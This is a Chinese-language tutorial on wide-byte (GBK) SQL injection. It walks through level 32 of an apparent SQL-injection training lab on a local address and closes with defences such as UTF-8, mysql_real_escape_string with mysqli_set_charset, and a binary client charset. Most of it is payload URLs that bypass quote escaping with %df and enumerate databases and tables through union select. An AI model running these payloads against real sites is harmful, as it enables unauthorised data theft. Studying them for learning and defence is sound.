宽字节注入原理

什么是宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS都是常见的宽字节编码

  • 1个字节的字符,是短字节,所有的英文占1个字节

    • 我们都知道1个字节占8位比如a二进制表示就是01011101,0和1组合有255种完全满足英文的
  • 2个字节的字符,是宽字节,中文默认都是占两个字节的

    • 如果我们用1个字节表示中文是远远不够的,所有要用两个字节

什么是宽字节注入

在这里插入图片描述

防御:有的网站会进行过滤,'给转换成\'
绕过:将\给消灭掉
在这里插入图片描述

宽字节注入实战

第32关

判断是否存在sql注入漏洞

输入URL:http://192.168.0.108/Less-32/?id=1
正常显示

在这里插入图片描述
下面加上'
输入URL地址: http://192.168.0.108/Less-32/?id=1'
这个他专门显示了被转换了\'
在这里插入图片描述
我们就可以进行宽字节探测了
添加%df
输入URL:http://192.168.0.108/Less-32/?id=1%df'
%df\会变成
就没有\

发现是可以注入点
在这里插入图片描述
如果还是不确定可以用and 1=1来判断

输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=1 --+
正常
在这里插入图片描述
输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=2 --+
没有显示
是确定是存在sql注入漏洞的
在这里插入图片描述

进行读取数据

和基本的注入查询一样

  1. 判断有几列
    输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 2 --+

    输入2显示正常
    在这里插入图片描述
    发现输入到4就报错了
    输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 4 --+

可以判断有3
在这里插入图片描述
2. 观察页面返回,选择可以显示数据的位置,进行下一步的注入
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,2,3 --+
结果是23
在这里插入图片描述
3. 读取库的信息
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,user(),3 --+
内容显示了在这里插入图片描述
4. 查看数据库名
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select schema_name from information_schema.schemata LIMIT 0,1),3 --+
这个他之显示第一个数据库的名在这里插入图片描述
读取全部的库名
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
用到了group_concat()函数,
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
在这里插入图片描述

  1. 读取查表
    通过上面的查询找到数据库全部的数据库名
    通过数据库名就可以查询表了
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
    发现报错了应为’security’你面有用'

    在这里插入图片描述
    我们就可以进行编码逃避用'
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+

    就读取出来表了在这里插入图片描述
    等等后面都和普通的注入方法一样就不演示了

宽字节注入防御

  1. 使用UTF-8就可以完美防御宽字节注入
    1. php mysql_real_escape_string()函数和mysqli_set_charset() 函数
1.mysql_real_escape_string()是用来转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响:


1
2
3
4
5
6
7
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。 2.mysqli_set_charset()函数是修改数据库连接字符集 他两个组合起来就可以防御了
  1. 设置成二进制的模式就可以了
    mysql_query() 函数执行一条 MySQL 查询
    他有两个参数一个是执行的语句一个是执行的,可选。规定 SQL 连接标识符
    这个里面就可以添加一个character_set_client=binary
    就可以防御了